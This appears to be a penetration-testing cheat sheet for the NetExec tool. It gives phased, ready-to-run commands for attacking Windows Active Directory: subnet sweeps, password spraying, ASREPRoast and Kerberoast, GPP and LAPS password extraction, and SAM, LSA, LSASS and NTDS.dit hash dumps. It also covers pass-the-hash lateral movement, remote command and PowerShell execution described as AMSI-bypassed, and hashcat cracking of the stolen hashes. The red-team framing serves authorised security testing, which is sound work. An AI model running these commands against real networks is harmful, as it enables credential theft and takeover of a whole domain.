πŸ›‘οΈ Methodology Checklist

  • Phase 1 Setup: msfdb run; workspace -a [NAME]
  • Phase 2 Anonymous recon: NULL sessions, SMB signing check
  • Phase 3 Password attacks: spray (check policy first), stuffing
  • Phase 4 Authenticated enumeration: shares, users, groups, LAPS, GPP
  • Phase 5 Post-exploitation: SAM/LSA/LSASS/NTDS dump, command exec
  • Phase 6 Lateral movement: PtH across subnet, WinRM, MSSQL
  • Use --continue-on-success for spraying and (Pwn3d!) hunting
  • Log all NXC output to file: nxc smb ... | tee nxc_output.txt

🎯 Operational Context

Use when: Quick nxc command reference β€” match protocol, action, and flag to the current task. Think Dumber First: Syntax: nxc [PROTOCOL] [TARGET] -u [USER] -p [PASS] [ACTION]. Protocol: smb/ldap/winrm/rdp/mssql. Always test connectivity before running modules: nxc smb [TARGET] -u [USER] -p [PASS] β€” Pwn3d! = local admin = all SMB operations available. Skip when: N/A β€” reference document.


⚑ Tactical Cheatsheet

CommandTactical Outcome
nxc smb [NETWORK]/[MASK]Subnet sweep β€” OS, signing, domain
nxc smb [NETWORK]/[MASK] --gen-relay-list relay.txtFind SMB signing=False hosts
nxc smb [DC_IP] -u '' -p '' --pass-polPassword policy (check before spraying!)
nxc smb [DC_IP] -u '' -p '' --usersUser enumeration via NULL session
nxc smb [DC_IP] -u [USER_FILE] -p '[PASS]' --continue-on-successPassword spray
nxc ldap [DC_FQDN] -u [USER] -p [PASS] --asreproast asrep.txtASREPRoast all eligible accounts
nxc ldap [DC_FQDN] -u [USER] -p [PASS] --kerberoasting kerb.txtKerberoast all SPN accounts
nxc smb [DC_IP] -u [USER] -p [PASS] -M gpp_passwordGPP credential extraction
nxc ldap [DC_FQDN] -u [USER] -p [PASS] -M lapsLAPS password extraction
nxc smb [TARGET_IP] -u [USER] -p [PASS] --samDump local SAM hashes
nxc smb [DC_IP] -u [USER] -p [PASS] --ntdsDump NTDS.dit (all domain hashes)
nxc smb [TARGET_IP] -u [USER] -p [PASS] --lsaLSA secrets + cached domain creds
nxc smb [TARGET_IP] -u [USER] -p [PASS] -M lsassyLSASS dump
nxc [PROTO] [TARGET_IP] -u [USER] -H [NTLM_HASH]Pass-the-Hash
nxc smb [TARGET_IP] -u [USER] -p [PASS] -x "[CMD]"Remote CMD execution
nxc smb [TARGET_IP] -u [USER] -p [PASS] -X "[PS]"Remote PowerShell (AMSI bypassed)

πŸ”¬ Deep Dive & Workflow

Engagement Workflow β€” NetExec Phases

Phase 0: Setup
  pipx install netexec
  nxcdb β†’ workspace create [ENGAGEMENT]

Phase 1: Recon
  nxc smb [SUBNET]/24                          ← discover hosts, OS, signing
  nxc smb [SUBNET]/24 --gen-relay-list relay.txt ← find relay targets

Phase 2: Anonymous Enum
  nxc smb [DC_IP] -u '' -p '' --pass-pol       ← FIRST: lockout threshold
  nxc smb [DC_IP] -u '' -p '' --users          ← user list
  nxc smb [DC_IP] -u '' -p '' --shares         ← accessible shares

Phase 3: Credential Attacks
  nxc smb [DC_IP] -u users.txt -p 'Corp2024!'  ← spray (respect lockout)
  nxc ldap [DC_FQDN] -u users.txt -p '' --asreproast  ← ASREPRoast
  nxc smb [DC_IP] -u [USER] -p [PASS] -M gpp_password ← GPP creds

Phase 4: Authenticated Enum
  nxc ldap [DC_FQDN] -u [USER] -p [PASS] --kerberoasting ← Kerberoast
  nxc ldap [DC_FQDN] -u [USER] -p [PASS] -M laps        ← LAPS passwords
  nxc smb [TARGET] -u [USER] -p [PASS] -M spider_plus    ← file search

Phase 5: Post-Exploitation
  nxc smb [TARGET] -u [USER] -p [PASS] --sam   ← local hashes
  nxc smb [DC_IP] -u [ADMIN] -p [PASS] --ntds ← domain hashes
  nxc smb [TARGET] -u [USER] -p [PASS] -M lsassy ← live creds

Phase 6: Lateral Movement
  nxc smb [SUBNET]/24 -u [USER] -H [HASH] --local-auth ← hash spray
  nxc winrm [TARGET] -u [USER] -H [HASH]               ← WinRM
  nxcdb β†’ export creds detailed loot.csv               ← document all

Critical Rules

RuleWhy
Check --pass-pol before sprayingAvoid domain lockout
Use FQDN (not IP) for LDAP/KerberosKerberos requires hostname
--local-auth for non-domain accountsOtherwise auth fails silently
(Pwn3d!) required for -x, -X, dumpWithout it = access denied
Add DC FQDN to /etc/hostsRequired for Kerberos ticket ops
Delete smb.db if NXC acts buggyFixes corrupt database state

Hash Cracking Quick Reference

# ASREPRoast (hashcat mode 18200)
hashcat -a 0 -m 18200 asrep.txt rockyou.txt
 
# Kerberoast (hashcat mode 13100)
hashcat -a 0 -m 13100 kerb.txt rockyou.txt --force
 
# NTLM (hashcat mode 1000) β€” from SAM/NTDS
hashcat -a 0 -m 1000 ntlm.txt rockyou.txt
 
# NetNTLMv2 (hashcat mode 5600) β€” from Responder
hashcat -a 0 -m 5600 netntlmv2.txt rockyou.txt
 
# DCC2/mscache2 (hashcat mode 2100) β€” from LSA
hashcat -a 0 -m 2100 dcc2.txt rockyou.txt

Protocol Quick-Access

# SMB
nxc smb [TARGET] -u [USER] -p [PASS]
 
# WinRM (PowerShell remoting)
nxc winrm [TARGET] -u [USER] -p [PASS]
 
# RDP check
nxc rdp [TARGET] --nla-screenshot
 
# LDAP (use FQDN)
nxc ldap [DC_FQDN] -u [USER] -p [PASS]
 
# MSSQL
nxc mssql [TARGET] -u [USER] -p [PASS] -d [DOMAIN]
nxc mssql [TARGET] -u [USER] -p [PASS] --local-auth
 
# SSH
nxc ssh [TARGET] -u [USER] -p [PASS]

πŸ› οΈ Troubleshooting & Edge Cases

ProblemCauseFix
Wrong protocol for targetProtocol selection unclearTest multiple: smbβ†’winrmβ†’rdpβ†’ssh; nxc shows what’s accessible for each protocol
Module not foundWrong module nameList modules: nxc smb -L for SMB modules; nxc ldap -L for LDAP modules
nxc vs crackmapexec confusionLegacy namenxc is the current tool; cme is the old name; same developer, same tool β€” use nxc
Authentication failsWrong formatDomain accounts: -u DOMAIN\\user or --domain DOMAIN -u user; local: -u user --local-auth
Module requires elevated accessNot adminSome modules (β€”sam, β€”lsa) require local admin; verify Pwn3d! before running elevated modules

πŸ“ Reporting Trigger

Finding Title: NetExec Multi-Protocol Attack Surface Coverage Impact: nxc provides single-tool coverage across SMB, LDAP, WinRM, RDP, MSSQL, and SSH protocols, enabling rapid credential testing and post-exploitation across all Windows protocols with consistent syntax and built-in result tracking. Root Cause: N/A β€” operational tool reference. Recommendation: Security teams should run nxc against their own environments during red team exercises to identify credential reuse and misconfigured services before attackers do. nxc output provides actionable remediation targets.